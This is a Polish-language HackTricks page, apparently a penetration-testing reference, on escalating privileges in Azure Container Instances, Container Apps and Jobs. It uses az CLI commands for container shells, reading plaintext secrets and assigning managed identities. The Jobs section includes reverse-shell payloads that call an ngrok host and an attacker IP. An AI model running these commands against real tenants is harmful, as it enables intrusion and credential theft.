Az - Azure Container Instances, Apps & Jobs Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure Container Instances, Apps & Jobs
Aby uzyskać więcej informacji, sprawdź:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Te uprawnienia pozwalają użytkownikowi na wykonanie polecenia w działającym kontenerze. Może to być użyte do eskalacji uprawnień w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście, możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.
Aby uzyskać powłokę, wystarczy:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
Możliwe jest również odczytanie wyjścia kontenera za pomocą:
az container attach --name <container-name> --resource-group <res-group>
Lub uzyskaj logi za pomocą:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Te uprawnienia pozwalają na przypisanie zarządzanej tożsamości użytkownika do grupy kontenerów. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Te uprawnienia pozwalają na tworzenie lub aktualizowanie grupy kontenerów z przypisaną tożsamością zarządzaną przez użytkownika. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Ponadto możliwe jest również zaktualizowanie istniejącej grupy kontenerów, dodając na przykład argument --command-line z odwróconym powłoką.
ACA
Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action
Te uprawnienia pozwalają użytkownikowi uzyskać powłokę w działającym kontenerze aplikacji. Może to być użyte do eskalacji uprawnień w kontenerze, jeśli ma on przypisaną jakąkolwiek tożsamość zarządzaną. Oczywiście możliwe jest również uzyskanie dostępu do kodu źródłowego i wszelkich innych wrażliwych informacji przechowywanych wewnątrz kontenera.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
To uprawnienie pozwala na uzyskanie czystego tekstu sekretów skonfigurowanych wewnątrz aplikacji kontenerowej. Należy zauważyć, że sekrety mogą być skonfigurowane z czystym tekstem lub z linkiem do skarbca kluczy (w takim przypadku aplikacja będzie miała przypisaną tożsamość zarządzaną z dostępem do sekretów).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Te uprawnienia pozwalają na przypisanie zarządzanej tożsamości użytkownika do aplikacji kontenerowej. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze. Wykonanie tej akcji z az cli wymaga również uprawnienia Microsoft.App/containerApps/listSecrets/action.
Aby przypisać zarządzaną tożsamość użytkownika do grupy kontenerów:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action
Te uprawnienia pozwalają na tworzenie lub aktualizowanie kontenera aplikacji z przypisaną tożsamością zarządzaną przez użytkownika. Jest to bardzo przydatne do eskalacji uprawnień w kontenerze.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
Tip
Zauważ, że z tymi uprawnieniami inne konfiguracje aplikacji mogą być modyfikowane, co może umożliwić przeprowadzenie innych ataków privesc i post exploitation w zależności od konfiguracji istniejących aplikacji.
Jobs
Microsoft.App/jobs/read, Microsoft.App/jobs/write
Chociaż zadania nie są długoterminowe jak aplikacje kontenerowe, możesz wykorzystać możliwość nadpisania konfiguracji polecenia zadania podczas uruchamiania wykonania. Tworząc niestandardowy szablon zadania (na przykład, zastępując domyślne polecenie powrotnym shellem), możesz uzyskać dostęp do powłoki w kontenerze, który uruchamia zadanie.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action
Jeśli masz te uprawnienia, możesz wylistować wszystkie sekrety (pierwsze uprawnienie) wewnątrz kontenera Job, a następnie odczytać wartości skonfigurowanych sekretów.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write
Jeśli masz uprawnienia do modyfikacji konfiguracji zadania, możesz przypisać tożsamość zarządzaną przypisaną do użytkownika. Ta tożsamość może mieć dodatkowe uprawnienia (na przykład dostęp do innych zasobów lub sekretów), które mogą być wykorzystane do eskalacji uprawnień wewnątrz kontenera.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Jeśli możesz utworzyć nową pracę Container Apps (lub zaktualizować istniejącą) i przypisać zarządzaną tożsamość, możesz zaprojektować pracę tak, aby wykonywała ładunek, który eskaluje uprawnienia. Na przykład, możesz utworzyć nową pracę, która nie tylko uruchamia odwrotny powłokę, ale także wykorzystuje poświadczenia zarządzanej tożsamości do żądania tokenów lub dostępu do innych zasobów.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
Tip
To polecenie zgłosi błąd, jeśli nie masz uprawnienia
Microsoft.App/jobs/read, chociaż zadanie zostanie utworzone.
microsoft.app/jobs/start/action, microsoft.app/jobs/read
Wygląda na to, że z tymi uprawnieniami powinno być możliwe uruchomienie zadania. Może to być użyte do uruchomienia zadania z odwróconym powłoką lub innym złośliwym poleceniem bez potrzeby modyfikacji konfiguracji zadania.
Nie udało mi się tego uruchomić, ale zgodnie z dozwolonymi parametrami powinno to być możliwe.
Microsoft.ContainerInstance/containerGroups/restart/action
Pozwala na ponowne uruchomienie konkretnej grupy kontenerów w Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

